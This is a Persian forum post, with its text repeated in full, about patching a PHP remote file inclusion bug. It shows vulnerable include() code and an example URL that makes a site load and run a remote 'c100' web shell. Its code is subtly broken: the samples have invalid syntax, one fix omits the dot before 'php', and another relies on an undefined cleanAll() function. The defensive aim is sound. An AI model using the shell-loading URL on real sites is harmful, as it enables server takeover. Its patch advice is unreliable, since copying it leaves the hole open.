05-03-2017، 20:45
خوب با اموزش پچ باگ rfi درخدمتتون هستم
این باگ ضریب خطر بالایی دارد چون باعث میشود که نفوذگر بتواند شلر خود را ران کند یا کارهای دیگر انجام دهد بسته به خلاقیت هکر
اما بیشتر از این باگ برای اپلود شل استفاده میشود خوب بریم سراغ بحث اصلیمون
این باگ در اثر استفاده نادرست از توابع زیر اتفاق میفتد:
Require
Require_once
Include
Include_once
Virtual
کد اسیب پذیر(دارای باگ rfi)
کد PHP:
<?php
id=$_GET(“id”);
Include(“id”);
?>
خوب همنطور که مشاهده میکنید شما میتوانید فایل مورد نظر خود را به راحتی ران کنید
مثلا فایل page.php فایل مورد نظر یک برنامه نویس است که به این صورت فراخوانی میشود
دیدن لینک ها برای شما امکان پذیر نیست. لطفا ثبت نام کنید یا وارد حساب خود شوید تا بتوانید لینک ها را ببینید.
http://www.site.com/index.php?id=page.php
خوب اینجا فایل مورد نظر برنامه نویس اجرا میشه اگه فایل مورد نظر نفوزگر باشد مثل:
دیدن لینک ها برای شما امکان پذیر نیست. لطفا ثبت نام کنید یا وارد حساب خود شوید تا بتوانید لینک ها را ببینید.
http://www.site.com/index.php?id=http://.../c100.txt?
اینجا ما اومدیم و شل خودمون رو ران کردیم حالا دیگه هرکاری بخوایم میتونیم انجام بدیم
اما بحث اصلی ما پچ این باگ است
ما با استفاده از تابع basename() این باگ رو پچ میکنیم
کد پس از اصلاح:
کد PHP:
include (basename($_GET['id']."php"));
یا استفاده از تابع cleanall()
کد اصلاح شده با این تابع
کد PHP:
<?php
$id = cleanAll($_GET[id]);
include($id);
?>
خوب امیدوارم برای دوستان مفید واقع شده باشه
این باگ ضریب خطر بالایی دارد چون باعث میشود که نفوذگر بتواند شلر خود را ران کند یا کارهای دیگر انجام دهد بسته به خلاقیت هکر
اما بیشتر از این باگ برای اپلود شل استفاده میشود خوب بریم سراغ بحث اصلیمون
این باگ در اثر استفاده نادرست از توابع زیر اتفاق میفتد:
Require
Require_once
Include
Include_once
Virtual
کد اسیب پذیر(دارای باگ rfi)
کد PHP:
<?php
id=$_GET(“id”);
Include(“id”);
?>
خوب همنطور که مشاهده میکنید شما میتوانید فایل مورد نظر خود را به راحتی ران کنید
مثلا فایل page.php فایل مورد نظر یک برنامه نویس است که به این صورت فراخوانی میشود
دیدن لینک ها برای شما امکان پذیر نیست. لطفا ثبت نام کنید یا وارد حساب خود شوید تا بتوانید لینک ها را ببینید.
http://www.site.com/index.php?id=page.php
خوب اینجا فایل مورد نظر برنامه نویس اجرا میشه اگه فایل مورد نظر نفوزگر باشد مثل:
دیدن لینک ها برای شما امکان پذیر نیست. لطفا ثبت نام کنید یا وارد حساب خود شوید تا بتوانید لینک ها را ببینید.
http://www.site.com/index.php?id=http://.../c100.txt?
اینجا ما اومدیم و شل خودمون رو ران کردیم حالا دیگه هرکاری بخوایم میتونیم انجام بدیم
اما بحث اصلی ما پچ این باگ است
ما با استفاده از تابع basename() این باگ رو پچ میکنیم
کد پس از اصلاح:
کد PHP:
include (basename($_GET['id']."php"));
یا استفاده از تابع cleanall()
کد اصلاح شده با این تابع
کد PHP:
<?php
$id = cleanAll($_GET[id]);
include($id);
?>
خوب امیدوارم برای دوستان مفید واقع شده باشه